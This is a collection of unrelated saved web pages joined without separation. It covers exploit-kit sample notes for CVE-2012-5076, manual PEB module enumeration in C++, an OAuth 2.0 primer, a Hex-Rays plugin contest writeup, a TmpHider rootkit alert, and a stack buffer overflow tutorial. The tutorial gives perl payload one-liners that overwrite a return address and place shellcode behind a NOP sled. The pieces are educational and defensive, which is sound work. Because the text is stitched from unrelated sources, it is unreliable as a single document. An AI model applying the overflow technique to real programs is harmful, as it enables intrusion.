  
Edit to come : will add the video in few days.

  
  
<Edit 1: 13:14 09/11/12>  
Removed the references to CVE-2012-5067  

  

<img src='img/Temp2_1603.png' />

Thanks to Timo Hirvonen from F-Secure for pointing me to the correct CVE
associated to this exploit.

</edit1>  
<edit2: more information on this Jar file.  
Thanks to Ange Albertini for his help.  
</edit2>  
<edit3>  
I don't want to be guilty for an integration of this CVE in other Exploit
Pack.  
So don't expect freely avaiblable files from me as long as it's not widely
used.  
Password protected file :  
http://dl.dropbox.com/u/106864056/CoolEK\_CVE-2012-5076\_and\_pdfs.zip  
kafeine at dontneedcoffee dot com for password.  
No need to mail if you are not ready to give real name and company  
</edit3>  
<edit4 Jar image blurred.  
Thanks to Michael Schierl  
</edit4>

# RCE Endeavors » Manually Enumerating Process Modules

**Created:**| _8/21/2015 10:15:57 AM_  
---|---  
**Updated:**| _8/21/2015 10:15:57 AM_  
**Author:**| __  
**Tags:**| __  
  

## Manually Enumerating Process Modules

August 20th, 2015 admin Leave a comment Go to comments

<img src='img/Temp2_6681.png' alt='Twitt' />

This post will show how to enumerate a processes loaded modules without the
use of any direct Windows API call. It will rely on partially undocumented
functionality both from the native API and the undocumented structures
provided by them. The implementation discussed is actually reasonably close to
how EnumProcessModules works.

**Undocumented Functions and Structures**

The main undocumented function that will be used here is
NtQueryInformationProcess, which is a very general function that can return a
large variety of information about a process depending on input parameters. It
takes in a _PROCINFOCLASS_ as its second parameter, which determines which
type of information it is to return. The value of this parameter are largely
undocumented, but a complete definition of it can be found here. The parameter
of interest here will be _ProcessBasicInformation_ , which fills out a
_PROCESS\_BASIC\_INFORMATION_ structure prior to returning. In code this looks
like the following:

[code]

    PROCESS_BASIC_INFORMATION procBasicInfo = { 0 };
    ULONG ulRetLength = 0;
    NTSTATUS ntStatus = NtQueryInformationProcess(hProcess,
        PROCESS_INFORMATION_CLASS_FULL::ProcessBasicInformation, &procBasicInfo,
        sizeof(PROCESS_BASIC_INFORMATION), &ulRetLength);
    if (ntStatus != STATUS_SUCCESS)
    {
        fprintf(stderr, "Could not get process information. Status = %X\n",
            ntStatus);
        exit(-1);
    }
[/code]  
---  
This structure, too, is largely undocumented. Its full definition can be found
here. The field of interest is the second one, the pointer to the processes
PEB. This is a very large structure that is mapped into every process and
contains an enormous amount of information about the process. Among the vast
amount of information contained within the _PEB_ are the loaded modules lists.
The _Ldr_ member in the _PEB_ is a pointer to a PEB\_LDR\_DATA structure which
contains these three lists. These three lists contain the same modules, but
ordered differently; either in load order, memory initialization order, or
initialization order as their names describe. The list consists of
LDR\_DATA\_TABLE\_ENTRY entries that contain extended information about the
loaded module.

**Retrieving Module Information**

The above definitions are all that is needed in order to implement manual
module traversal. The general idea is the following:

  1. Open a handle to the target process and obtain the address of its _PEB_ \(via _NtQuerySystemInformation_\).
  2. Read the PEB structure from the process \(via ReadProcessMemory\).
  3. Read the PEB\_LDR\_DATA from the PEB \(via _ReadProcessMemory_\).
  4. Store off the top node and begin traversing the doubly-linked list, reading each node \(via _ReadProcessMemory_\).

Writing it in C++ translates to the following:

[code]

    void EnumerateProcessDlls(const HANDLE hProcess)
    {
        PROCESS_BASIC_INFORMATION procBasicInfo = { 0 };
        ULONG ulRetLength = 0;
        NTSTATUS ntStatus = NtQueryInformationProcess(hProcess,
            PROCESS_INFORMATION_CLASS_FULL::ProcessBasicInformation, &procBasicInfo,
            sizeof(PROCESS_BASIC_INFORMATION), &ulRetLength);
        if (ntStatus != STATUS_SUCCESS)
        {
            fprintf(stderr, "Could not get process information. Status = %X\n",
                ntStatus);
            exit(-1);
        }
     
        PEB procPeb = { 0 };
        SIZE_T ulBytesRead = 0;
        bool bRet = BOOLIFY(ReadProcessMemory(hProcess, (LPCVOID)procBasicInfo.PebBaseAddress, &procPeb,
            sizeof(PEB), &ulBytesRead));
        if (!bRet)
        {
            fprintf(stderr, "Failed to read PEB from process. Error = %X\n",
                GetLastError());
            exit(-1);
        }
     
        PEB_LDR_DATA pebLdrData = { 0 };
        bRet = BOOLIFY(ReadProcessMemory(hProcess, (LPCVOID)procPeb.Ldr, &pebLdrData, sizeof(PEB_LDR_DATA),
            &ulBytesRead));
        if (!bRet)
        {
            fprintf(stderr, "Failed to read module list from process. Error = %X\n",
                GetLastError());
            exit(-1);
        }
     
        LIST_ENTRY *pLdrListHead = (LIST_ENTRY *)pebLdrData.InLoadOrderModuleList.Flink;
        LIST_ENTRY *pLdrCurrentNode = pebLdrData.InLoadOrderModuleList.Flink;
        do
        {
            LDR_DATA_TABLE_ENTRY lstEntry = { 0 };
            bRet = BOOLIFY(ReadProcessMemory(hProcess, (LPCVOID)pLdrCurrentNode, &lstEntry,
                sizeof(LDR_DATA_TABLE_ENTRY), &ulBytesRead));
            if (!bRet)
            {
                fprintf(stderr, "Could not read list entry from LDR list. Error = %X\n",
                    GetLastError());
                exit(-1);
            }
     
            pLdrCurrentNode = lstEntry.InLoadOrderLinks.Flink;
     
            WCHAR strFullDllName[MAX_PATH] = { 0 };
            WCHAR strBaseDllName[MAX_PATH] = { 0 };
            if (lstEntry.FullDllName.Length > 0)
            {
                bRet = BOOLIFY(ReadProcessMemory(hProcess, (LPCVOID)lstEntry.FullDllName.Buffer, &strFullDllName,
                    lstEntry.FullDllName.Length, &ulBytesRead));
                if (bRet)
                {
                    wprintf(L"Full Dll Name: %s\n", strFullDllName);
                }
            }
     
            if (lstEntry.BaseDllName.Length > 0)
            {
                bRet = BOOLIFY(ReadProcessMemory(hProcess, (LPCVOID)lstEntry.BaseDllName.Buffer, &strBaseDllName,
                    lstEntry.BaseDllName.Length, &ulBytesRead));
                if (bRet)
                {
                    wprintf(L"Base Dll Name: %s\n", strBaseDllName);
                }
            }
     
            if (lstEntry.DllBase != nullptr && lstEntry.SizeOfImage != 0)
            {
                wprintf(
                    L"  Dll Base: %p\n"
                    L"  Entry point: %p\n"
                    L"  Size of Image: %X\n",
                    lstEntry.DllBase, lstEntry.EntryPoint, lstEntry.SizeOfImage);
            }
     
        } while (pLdrListHead != pLdrCurrentNode);
    }
[/code]  
---  
**Code**

The Visual Studio 2015 project for this example can be found here. The source
code is viewable on Github here.

This code was tested on x64 Windows 7, 8.1, and 10.

Follow on Twitter for more updates

Follow me

Categories: General x86, General x86-64, Programming Tags:

# OAuth 2.0 Hacking Simplified — Part 1 — Understanding Basics | by Nishith K | May, 2021 | InfoSec Write-ups
**Created:**| _5/18/2021 5:45:36 PM_  
---|---  
**Updated:**| _5/18/2021 5:45:36 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# OAuth 2.0 Hacking Simplified — Part 1 — Understanding Basics

<img src='img/1*nXZ-2qhxZwHs_7Zkwb63UQ.jpeg' width='48' height='48' />

Nishith K

Follow

May 8 · 7 min read

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
width='25' height='25' viewBox='0 0 25 25' data-evernote-id='222' class='js-
evernote-checked'%3e%3cpath d='M19 6a2 2 0 0 0-2-2H8a2 2 0 0 0-2
2v14.66h.01c.01.1.05.2.12.28a.5.5 0 0 0 .7.03l5.67-4.12 5.66 4.13a.5.5 0 0 0
.71-.03.5.5 0 0 0 .12-.29H19V6zm-6.84 9.97L7 19.64V6a1 1 0 0 1 1-1h9a1 1 0 0 1
1 1v13.64l-5.16-3.67a.49.49 0 0 0-.68 0z' fill-rule='evenodd' data-evernote-
id='223' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

<img src='img/1*mf3C42gsOF6rh_roJLekbQ.jpeg' width='1400' height='525' />

OAuth2

# What is OAuth 2.0?

OAuth is an open-standard **_authorization_** protocol or framework that
describes how unrelated servers and services can safely allow authenticated
access to their assets without actually sharing the initial, related, single
logon credential.

Auth0 generates access tokens for API authorization scenarios, in _JSON web
token \(JWT\)_ format. The permissions represented by the access token, in
OAuth terms, are known as _scopes_. When an application authenticates with
Auth0, it specifies the scopes it wants. If those scopes are authorized by the
user, then the access token will represent these _authorized scopes_.

It works by delegating user authentication to the service that hosts the user
account, and authorizing third-party applications to access the user account.

# Where is it used?

OAuth 2 provides authorization flows for web and desktop applications, and
mobile devices. Simplest scenario is when you log into a website and it offers
log-on using another website’s \(Login with Facebook or Google\) logon.

For example: the signup page of Medium-

<img src='img/7417_1*-3eN8UsRUkABfylvHL2tTA.png' width='428' height='384' />

<img src='img/1*-3eN8UsRUkABfylvHL2tTA.png' width='428' height='384' />

Medium Signup Page

# OAuth Entities

Before getting into the core concept, we need to understand different
definitions used for different entities in OAuth flow. Let’s understand via an
example. A **Facebook** user wants to sign in into the **Medium** platform
using Facebook. The entities associated with this flow are-

**Resource Owner** : The `resource owner` is the user/entity granting access
to their protected resource. In our example, it can be user’s data associated
with the Facebook account.

**Client Application** : `client application` is the application requesting
authorization from the `resource owner`. In our example, this would be the
Medium application.

**Authorization Server:**`authorization server` is the server issuing `access
tokens` to the `client application` after successfully authenticating the
`resource owner` and obtaining authorization. In our example, Facebook will be
the Authorization server.

**Resource Server** : The `resource server` is the server handling
authenticated requests after the application has obtained an `access token` on
behalf of the `resource owner` . In our example, this would be Facebook.

**_Note:_**_Often the Authorization server and Resource server are the same
entity and can be called OAuth provider_.

**client\_id** : The `client_id` is a mandatory parameter containing the
public unique identifier of the client application. This value is generated
when the client application registers with the OAuth service.

**response\_type** : Determines which kind of response the client application
is expecting and, therefore, which flow it wants to initiate. For the
authorization code grant type, the value should be `code`

**scope** : The `scope` is the requested level of access the `client
application` is requesting from the `resource owner`

**redirect\_uri** : The `redirect_uri` is the URL the user is redirected to
after the authorization is complete. This is also known as the “ _callback
URI_ ” or “ _callback endpoint_ ” . This should match the redirect URL that
the user has previously registered with the service.

**state** : The `state` parameter stores a unique, random value that is tied
to the current session on the client application. According to RFC it is
optional but this parameter serves as a form of CSRF Token for the client
application by making sure that the request to its `/callback` endpoint is
from the same person who initiated the OAuth flow.

**grant\_type** : The `grant_type` parameter denotes what the grant type is,
and which token is going to be returned.

**code** : This `code` is the authorization code received from the
`authorization server` which will be in the query string parameter “code” in
this request. This code is used in conjunction with the `client_id` and
`client_secret` by the client application to fetch an `access_token`

**access\_token** : The `access_token` is the token that the client
application uses to make API requests on behalf of a `resource owner`

**refresh\_token** : The `refresh_token` allows an application to obtain a new
`access_token` without prompting the user

# OAuth Flows \(Grant Types\)

The OAuth grant type determines the exact sequence of steps that are involved
in the OAuth process. Flow also affects how the client application
communicates with the OAuth providers.

The client application specifies which grant type it wants to use in the
initial request it sends to the OAuth service. There are multiple flows
available for implementation but which flow to use? This totally depends on
the type of client application. \(More on it here: https://auth0.com/docs/api-
auth/which-oauth-flow-to-use\)

Types of flow in OAuth-

  * Authorization code grant \(aka server side flow\)
  * Implicit Grant \(aka Client side flow\)
  * Resource credentials grant
  * Client credential grant

We will go through the first two as these are the ones which are used mostly
in current OAuth implementations.

# How does OAuth Work?

Let’s dive into different grant types to understand how OAuth works.

## Authorization code grant type

Let’s understand the OAuth flow for Authorization code grant type with a real
life example of _Hackerrank_.

  1. **Authorization request**

The client application sends a request to the OAuth service’s endpoint asking
for permission to access specific user data.

<img src='img/1*N5_ffh3TvN07v2MChQL9jQ.png' width='1297' height='466' />

<img src='img/7421_1*N5_ffh3TvN07v2MChQL9jQ.png' width='1297' height='466' />

**2\. User login and consent**

When the authorization server receives the initial request, it will redirect
the user to a login page, where they will be prompted to log in to their
account with the OAuth provider. They will then be presented with a list of
data that the client application wants to access \(Like Email, profile
picture\). This is based on the scopes defined in the authorization request.
The user can choose whether or not to consent to this access.

<img src='img/1*vy-8A9oFGgiLyR980kHU4Q.png' width='1115' height='709' />

<img src='img/7418_1*vy-8A9oFGgiLyR980kHU4Q.png' width='1115' height='709' />

**3\. Authorization code grant**

If the user consents to the requested access, their browser will be redirected
to the `/callback` endpoint that was specified in the `redirect_uri` parameter
of the authorization request. \(Remember Step 1\)

The resulting `GET` request will contain the authorization code as a query
parameter. _This code can be used only once to get the access token_.

<img src='img/1*XSk47BpO-Ua20iUC5fblmQ.png' width='1217' height='489' />

code

**4\. Access token request**

Once the client application receives the authorization code, it needs to
exchange it for an access token. To do this, it sends a server-to-server
`POST` request to the OAuth service's endpoint.

All communication from this point on takes place in a secure back-channel and,
therefore, cannot usually be observed or controlled by an attacker.

**5\. Access token grant**

The OAuth service will validate the access token request. If everything is as
expected, the server responds by granting the client application an access
token with the requested scope.

<img src='img/1*-CnOZtPoVEYlfpUKITau1A.png' width='950' height='504' />

**6\. API call**

Now the client application has the access code, it can finally fetch the
user’s data from the resource server. Here we are asking the details of
certificates achieved by user.

<img src='img/1*jwxzh50aOmJfYqBG6wn2Bg.png' width='1193' height='579' />

## 7\. Resource grant

The resource server should verify that the token is valid and that it belongs
to the current client application. If so, it will respond by sending the
requested resource i.e. certificates achieved by user.

<img src='img/1*0dA-12mJ_eiPO_-BSp5hFQ.png' width='955' height='491' />

And we haven’t completed any so we got nothing in return. But now you are
logged in and can navigate the site.

## Implicit grant type

The implicit grant type is much simpler. Rather than first obtaining an
authorization code and then exchanging it for an access token, the client
application receives the access token immediately after the user gives their
consent.

  1. **Authorization request**

The implicit flow starts in much the same way as the authorization code flow.
The only major difference is that the `response_type` parameter must be set to
`token`.

2**. User login and consent**

This process is exactly the same as for the authorization code flow.

3\. **Access token grant**

The OAuth service will redirect the user’s browser to the `redirect_uri`
specified in the authorization request. But now it won’t send the query
parameter with code as seen previously, it will send access token and other
data in the URL itself.

4\. **API call**

Once the client application has successfully extracted the access token from
the URL, it can be used to access personal data associated with the user.

5\. **Resource grant**

The resource server verifies that the token is valid. It will send the
requested resource i.e. User data.

We will discuss about the vulnerabilities and mitigations in next blog. Hope
you learned something new and enjoyed my blog. Stay safe, stay curious.

Thanks for reading\!

~Nishith K

Connect with me:

  * **Twitter**

## JavaScript is not available.

### Edit description

twitter.com

  * **LinkedIn**

## Nishith K. - Security Analyst - Net Square Solutions Pvt. Ltd. | LinkedIn
### View Nishith K.'s profile on LinkedIn, the world's largest professional
community. Nishith has 3 jobs listed on their…

in.linkedin.com

# References

  * https://portswigger.net/web-security/oauth
  * https://auth0.com/docs/protocols/protocol-oauth2
  * https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2
  * https://dev.to/hem/oauth-2-0-flows-explained-in-gifs-2o7a
  * https://www.csoonline.com/article/3216404/what-is-oauth-how-the-open-authorization-framework-works.html

# Hex-Rays Hall of Fame 2009

**Created:**| _1/5/2011 1:07:42 PM_  
---|---  
**Updated:**| _1/5/2011 1:07:53 PM_  
**Author:**| __  
**Tags:**| _bookmark research_  
  

We are happy to announce the results of our first Hex-Rays plugin contest\!
The submitted files are very interesting. We are sure that you too will find
them useful and increasing your productivity.

While we had no difficulties determining the first winner, the second place
was not that obvious, both candidates were very good. In the end we did
choose, but decided that the third place deserves the prize as well. In fact,
we feel that all submissions are good and deserve a prize, but the number of
winning places is always limited. Probably we will be better prepared for the
next time.

We would like to thank all participants for the submissions. Many of them show
new ways of using and extending IDA. See below youself ;\)

Without further ado, let us announce the winners. They are:

  1. Vincent Rasneur from DenyAll with the DWARF plugin
  2. Marian Radu from Microsoft with the Adobe Flash disassembler
  3. Jan Newger with the IDAStealth plugin

Congratulations to the winners\!

Here's the list of submissions in the alphabetic order:

  * * * *
**Christian Blichmann fromZynamics with the Java plugin**

<img src='img/Temp2_3852.gif' /> The short description provided by the author:

IdaJava is a plugin for IDA Pro that allows to write IDA plugins in Java. In
other words: IdaJava is to Java like IDAPython is to Python... The plugin
creates an in-process Java VM and looks for JAR files in IDA's plugins
directory. Each Java based plugin gets their own menu item in Edit|Plugins.

**Our comments:** This looks like a very promising plugin. Java fans will
finally be able to program for IDA in Java\!

<img src='img/Temp2_3851.gif' />

The plugin greeted us with:

<img src='img/Temp2_3853.gif' />

Hello world from Java, nice to see you\!

**Download link \(OUTDATED\):** idajava.zip

**Direct link to project page:** http://github.com/cblichmann/idajava

  * * * *
**Felix Leder fromUniversity of Bonn with the Re-Google plugin**

<img src='img/Temp2_3858.gif' /> From the readme.txt file:

RE-Google is a plugin for the Interactive DisAssembler \(IDA\) Pro that
queries Google Code for information about the functions contained in a
disassembled binary. The top results are then displayed as comments to the
function and can be opened just by clicking on it.

The top results will often tell you what to the function function is actually
doing or what you will find in the inside.

**Our comments:** A very refreshing idea of using Google Code, indeed\! After
running the plugin, the disassembly is enriched with links to the source code
of detected functions. Double clicking on them opens the corresponding source
file in google. The task of verifying the results and renaming functions is
left to the user, as usual with Google ;\)

<img src='img/Temp2_3855.gif' />

It takes some time for the plugin to finish its job \(Google won't let it go
faster\). For us, the plugin worked flawlessly: it detected many matches and
reported the total number of successfully recognized functions. We would have
preferred to have a list to work with, but it is already very useful. A
definite must have, especially if you work with Linux/Mac executables\!

Sample output of the plugin:

<img src='img/Temp2_3846.gif' />

A nice presentation of this plugin can already by found here

The official web site of the plugin: http://regoogle.carnivore.it

**Download link:** RE-Google.zip

  * * * *
**Jan Newger with the IDAStealth plugin**

We hope you are already familiar with the IDAStealth plugin:

<img src='img/Temp2_3854.gif' />

This new version comes with remote debugging support, a fresh new GUI,
profiles support and many small improvements and bug fixes. The archive also
contains a sample configuration file with two pre-defined profiles, which
allow you to debug applications protected with the newest version of Themida
and ASProtect, respectively.

**Our comments:** We really like the new functionality\! Finally IDA has
something to offer against Themida and ASProtect. In fact there were some
problems during our tests but since it is a mature plugin, with good support,
and it can handle most of anti-debugging tricks, we felt that it deserves a
prize anyway.

For more information about the plugin and new version \(we hope that there
will be more improvements in the future\), please check its official web site:
http://newgre.net/idastealth.

**Download link:** idastealth\_complete.rar \(directly from the official
site\)

  * * * *
**Marian Radu fromMicrosoft with Adobe Flash disassembler**

Marian describes his work like this:

<img src='img/Temp2_3859.gif' /> Shockwave Flash is a very common and widely
used file format that, unfortunatelly, has not been able to make its way into
IDA's recognized file formats. The increasing numbers of grayware and malware
SWF files require security researchers to disassemble and analyse such files
and IDA is again an ideal tool to use.

The 2 plugins present in this archive will enable IDA to parse SWF files, load
all SWF tags as segments for fast search and retrieval, parse all tags that
can potentially contain ActionScript2 code, discover all such code\(a
dedicated processor module has been written for it\) and even name the event
functions acording to event handled in it \(eg. OnInitialize\).

**Our comments:** In fact, there are two different modules: a file loader
module and a processor module. Together, they make it possible to analyze
Flash SWF files with IDA, as simple as that. It was very easy to install and
run the plugin: just copy 2 files to the IDA subdirectories and it is ready.

Flash files can be loaded very easily into IDA, and you'll see a bytecode,
like this:

<img src='img/Temp2_3850.gif' />

While there is a room for improvement \(show me a software that can not be
improved;\), it is a very impressive submission that adds useful and needed
functionality for IDA. We liked a plugin very much, it is our second winner\!

**Download link:** swf.zip

  * * * *
**Vincent Rasneur fromDenyAll with the DWARF plugin** <img
src='img/Temp2_3849.gif' />

Vincent modestly put one line description of his plugin:

IDADWARF is an IDA plugin that imports DWARF debugging symbols into an IDA
database.

**Our comments:** Behind this simple description is a very complex plugin that
imports DWARF debug information into IDA databases. It deals with many
aspects: naturally, it imports debug names and types, but it does not stop
there. It annotates the listing with the debug information and goes as far as
to modify the operand types when it makes sense. It also adds comments to
local variables. It renames registers. It just does not create a readable C
code but there is our decompiler for that. Even our PDB plugin does not do
this. We feel that we will have to improve it just to be on par with the DWARF
plugin :\)

Just a few screenshots to show you the beauty of the code:

<img src='img/Temp2_3856.gif' />

Please note renamed registers and the complex function prototype. It can
handle even unusual calling conventions when arguments are passed in arbitrary
registers.

<img src='img/Temp2_3845.gif' />

Note the structure offsets. This code can be read just by looking at the
names, that are magically inserted into the listing by the plugin\!

For more screenshots, kindly provided by Vincent, please follow this link.

This our definite favorite, it gets the first prize.

**Download link:** idadwarf-0.2.zip

  * * * *
**Zak Stanborough fromDTR Limited with multiple PowerPC plugins**

Zak submitted three different files and we thank him for that. The first two
plugins are useful for PowerPC analysis, and the third file is valuable for
novice plugin writers. Here are the plugin descriptions by Zak:

<img src='img/Temp2_3848.gif' /> **PowerPC to C plugin**

This converts tricky PPC assembly instructions into C code by placing a
comment after the instruction. This makes it easy to understand what these
instructions are doing at a glance. At this stage only the instructions which
are hard to understand are converted into C code, but this plugin could be
extended to convert all instructions into C code.

**PowerPC helper plugin**

This automatically sets the names of registers which have args stored in them.
It also sets the names of stack variables that have registers saved in them.
While this is a simple idea, it is something that I find helps to quickly
trace through what happens to a functions args as well as determining which
stack variables are acually variables and not just saved register values.
Running this can save a couple of minutes on every function you are reversing,
which really adds up in the end.

**MS Visual Studio 2005 Templates**

This is a template for easy creation of IDA Plugins and Loaders using MS
Visual Studio 2005 or later \(ie VS2008 or VS2010\)

This helps by setting all required settings, paths and preprocessor values
required to create both 32bit and 64bit modules from the same sourcecode. This
will save work and time even for those with experience writing plugins, but it
is of most use for those who are new to it and don't know where to start.

**Our comments:** At first we thought that we got a decompiler for PowerPC
\(wow\!\) but the "PowerPC to C" plugin turned out to be a "single
instruction" decompiler. Yet, it is useful, especially if you do not remember
what all PowerPC instructions do. Some of them, like **rlwinm** , are really
difficult to remember. The plugin makes your life much easier, by adding a
humanly comment:

<img src='img/Temp2_3857.gif' />

We would like it to be fully automatic \(right now it adds one comment at a
time and it is possible to run it over all instructions of the current
function or the current selection\) but even at the current state, the plugin
is useful.

The second plugin renames registers to reflect the corresponding variable
names:

<img src='img/Temp2_3847.gif' />

Please note that %r30 has been renamed as arg0.

The third file will be appreciated by novices who want to implement plugins
for IDA but do not know where to start. Zak prepared Visual Studio project
files as the starting point. With them, many questions about the initial setup
are answered - just sit down and write your code\!

**Download link:** ppc2c.zip  
**Download link:** ppchelper.zip  
**Download link:** vs2005templates.zip  

**Final notes**

We would like to thank everyone who participated in the contest. It was a very
agreeable experience and we will certainly be repeating it in the near future.

A note to the downloaders: please be aware that all files come from third
parties. While we did our best to verify them, we can not guarantee that they
work as advertised, so use them at your own risk.

For the plugin support questions, please contact the authors.

# Rootkit.TmpHider - Wilders Security Forums

**Created:**| _7/15/2010 3:21:10 PM_  
---|---  
**Updated:**| _7/15/2010 3:21:18 PM_  
**Author:**| __  
**Tags:**| _bookmark botnets Malware-analysis_  
  

**Rootkit.TmpHider**

* * *
Modules of current malware were first time detected by "VirusBlokAda"
\(http://anti-virus.by/en/\) company specialists on the 17th of June, 2010 and
were added to the anti-virus bases as **Trojan-Spy.0485** and **Malware-
Cryptor.Win32.Inject.gen.2**. During the analysis of malware there was
revealed that it uses USB storage device for propagation.  
  
You should take into consideration that virus infects Operation System in
unusual way through vulnerability in processing lnk-files \(without usage of
autorun.inf file\).  
  
So you just have to open infected USB storage device using Microsoft Explorer
or any other file manager which can display icons \(for i.e. Total Commander\)
to infect your Operating System and allow execution of the malware.  
  
Malware installs two drivers: mrxnet.sys and mrxcls.sys. They are used to
inject code into systems processes and hide malware itself. That's the reason
why you can't see malware files on the infected USB storage device. We have
added those drivers to anti-virus bases as **Rootkit.TmpHider**
and**SScope.Rookit.TmpHider.2**. Note that both drivers are signed with
digital signature of Realtek Semiconductor Corp. \(www.realtek.com\).  
  
Thus, current malware should be added to very dangerous category causes the
risk of the virus epidemic at the current moment.  
  
After we have added a new recordes to the anti-virus bases we are admitting a
lot of detections of **Rootkit.TmpHider** and **SScope.Rookit.TmpHider.2** all
over the world.  
  
  
  
Source: http://anti-virus.by/en/tempo.shtml

# Exploitation TUT snort

**Created:**| _6/25/2009 3:35:06 PM_  
---|---  
**Updated:**| _6/25/2009 3:35:51 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  

Over here at the VRT, we've thoroughly enjoyed sinking our teeth into the awbo
exercises. Hopefully, readers who've had the chance to work through these are
eagerly anticipating those to come.

On the other hand, there may still be some of you who are interested in giving
these a shot, but either haven't ever worked with exploitation before or
aren't sure how to set up their environment. For those who need a little extra
nudge to get started, I've prepared a simple walkthrough outlining my personal
preferred way of approaching these exercises.

If you've already completed any of the awbos, this guide will likely ring a
tad redundant. If you haven't, but have a fairly good understanding of how the
stack works, then read on. Given that spoiling any of the exercises would
defeat the purpose of publishing them, I've written a short short, exploitable
C program we'll be using as an example. The anatomy of the stack is a topic
reserved for a later post.

Things you'll need:

  1. A disassembler
  2. A method of delivery
  3. A debugger
  4. Shellcode

**Recommended tools:** IDA, Cygwin with perl, windbg  
**Not-so-recommended tools:** Divination, Magic 8-ball, Wild Guessing, Dr.
Watson

The shellcode for this exercise is here

The example program is here

### Disassembly goals:

a\) Figure out how the program works.

To start out, it's a good idea to go through the disassembly and familiarize
yourself with the logic of the program. Some noteworthy things in particular
are:

  * Size of stack space created
  * Offsets and functions of stack variables
  * Calls to subroutines
  * Types of input \(streams, arguments\)
  * Branching of execution/jmp statements

Now, whip out your favorite disassembler and take a look at the executable's
disassembly. I use IDA, but feel free to use anything that'll get the job
done.

When reading assembly, especially if you're more accustomed to high-level
languages like C, you'll want to avoid trying to absorb the code instruction-
by-instruction. Look at blocks of instructions to figure out how they work
together to do something useful.

In the example program:

[code]

      push    ebp
      mov     ebp, esp
      sub     esp, 100h
    
    
[/code]

Blocks like this are typical. When a function is called \(in this case, our
main\), the address of the next instruction after call is saved on the stack.
This is called the "return address"; once the function terminates, this
address lets the processor know where to resume execution.

Once the return address is pushed, the old ebp is also pushed onto the stack
and our old ESP becomes the new EBP. Once that's done, space is reserved on
the stack for local variables. In this case, the size of the stack space
created is 100 hex \(256 bytes\).

Furthermore, IDA shows us the offsets of important variables/locations in that
reserved space that will be used later by the program. This is displayed above
the start of main.

[code]

      Buffer= byte ptr -100h
      var_FD= byte ptr -0FDh
    
    
[/code]

These are also good to take note of for when they're referenced later.

b\) What kind of vulnerability are we looking at? How and where is the program
exploitable?

The next thing to look for are areas where the program could potentially be
vulnerable. For stack-based buffer overflows, this will take the form of user
input that is copied into the stack without validating whether there is enough
space reserved for it. String functions like strcpy\(\), for instance, don't
inherently provide for any sort of bounds checking beyond null-character
termination and are typically exploitable.

Our first function call is a call to `gets()`:

[code]

      lea     eax, [ebp+Buffer]
      push    eax             ; Buffer
      call    _gets
    
    
[/code]

As we can see, EAX is loaded with the address of buffer and then supplied as
an argument to the gets\(\) call. Since user input will be copied into buffer
\(on the stack\) from stdin with no bounds checking, this looks like a good
candidate for a stack-based buffer overflow vulnerability.

From earlier, we know that Buffer is located at a 100 hex offset from EBP, or
EBP-100. Our saved return address is located at EBP+4, starting 268 bytes
higher than Buffer. In order to cleanly overwrite it with our own data, we'll
need to supply Buffer with 260 + 4 bytes = 272.

c\) What obstacles and constraints on input are we faced with?

Successful exploitation hinges on hijacking EIP, but even if you've
overwritten the return address on the stack, execution will not be yours until
you hit your RET instruction. Though a seemingly trivial point, it bears
mentioning that this means you'll need to make sure execution doesn't
terminate or branch off before you gain control. Input will need to be crafted
such that the necessary execution conditions are satisfied.

[code]

      movsx   ecx, [ebp+var_FD]
      cmp     ecx, 78h
      jz      short loc_40102E
    
      push    1               ; Code
      call    _exit
    
    
[/code]

The first block compares the byte at EBP-FD\(-253 decimal\) with the hex value
78 \(ASCII 'x'\). If they match, execution then jumps over the second block
entirely, which is an exit call. Allowing the program to call exit\(\) will
prematurely terminate the program, which is very bad for us; execution will
never arrive at the RET instruction we're relying on to pop our overwritten
return address off the stack and into EIP.

Given this observation, it's safe to say that we need to make the byte at EBP-
FD to be lowercase 'x'. EBP-FD is also the fourth byte of our Buffer, which is
fed through standard input. In order for our exploitation to succeed, we'll
need to feed 'x' as the fourth character in our payload.

### Method of Delivery:

a\) Delivering your shellcode.

Shellcode is delivered in the form of hex byte instructions written for the
target platform. This can be defined as a hex string in your scripting
language of choice, most often using the \xNN format. I suggest using Perl;
strings are easily created and appended to one another, and you can use perl's
print\(\) function in conjunction with the pipe operator "|" in cygwin to pump
your shellcode output to the exploitable program.

Cygwin is a linux-like shell environment for Windows. When setting up cygwin,
you also have the option of installing various packages. Make sure you get
perl and gcc.  
Cygwin home

[code]

      print ($filler.$shellcode.$ebp.$ret);
    
    
[/code]

Then from the command line:

[code]

      perl exploit.pl | ./example.exe
    
    
[/code]

or, you can run perl code from the command line with the -e switch:

[code]

      perl -e 'print "A" x 256 ."\x00\xff\x12\x00"' | ./example.exe
    
    
[/code]

Furthermore, while it's not necessary for this example, you can also pass the
output of a perl scripts as arguments from the command line, in which case
you'll need to enclose each statement within ticks \(\`\), located on the same
key as tilde \(~\):

[code]

      ./example `perl -e 'print "ARGUMENT1"'`
      ./example `perl exploit.pl`
    
    
[/code]

b\) Structure your payload to work with the constraints on input and satisfy
conditions of execution.

We know from our disassembly that the fourth character we supply to our
vulnerable program needs to be lowercase 'x' \(0x78\). After that, we have 256
bytes to fill before we overwrite the return address. What a fantastic place
to put your shellcode\! It will, however, need to be padded; the shellcode is
only 127 bytes.

The most commonly used padding tends to be what are called "NOP instructions".
NOP instructions are instructions that perform either no operation or one that
will not really interfere with the operation of our shellcode. The latter is,
of course, context-dependent. The most common are 0x90 \(NOP - does nothing\)
and 0x41 \(Both ASCII "A" AND inc ecx, depending on whether it's interpreted
as data or an instruction\). The fact that they're single-byte instructions
makes them ideal for plugging up holes. Not only that, but if you miss your
shellcode and EIP lands somewhere on your padding before your shellcode, the
processor will execute these NOP instructions one-by-one until it gets to the
beginning of your shellcode. This technique is called a "NOP sled".

### Debugging:

a\) Setting up windbg as your post-mortem debugger.

You can register windbg as your port-mortem debugger with the -I option. In
Win 2000, you'll want to select "run" from the start menu, browse for the
location of windbg \(usually debugging tools for Windows\), and then append -I
as an argument:

[code]

    "C:\Program Files\Debugging Tools for Windows (x86)\windbg.exe" -I
    
    
[/code]

Post-mortem means that when a program throws an exception \(for example,
crashes\), Windows will give the debugger a chance to deal with it before
passing it to an exception handler. So, say you overwrite the return address
on the stack with "AAAA"; this will cause an Access Violation when the
processor tries to resume execution at address 0x41414141, and your debugging
environment will fire up automatically.

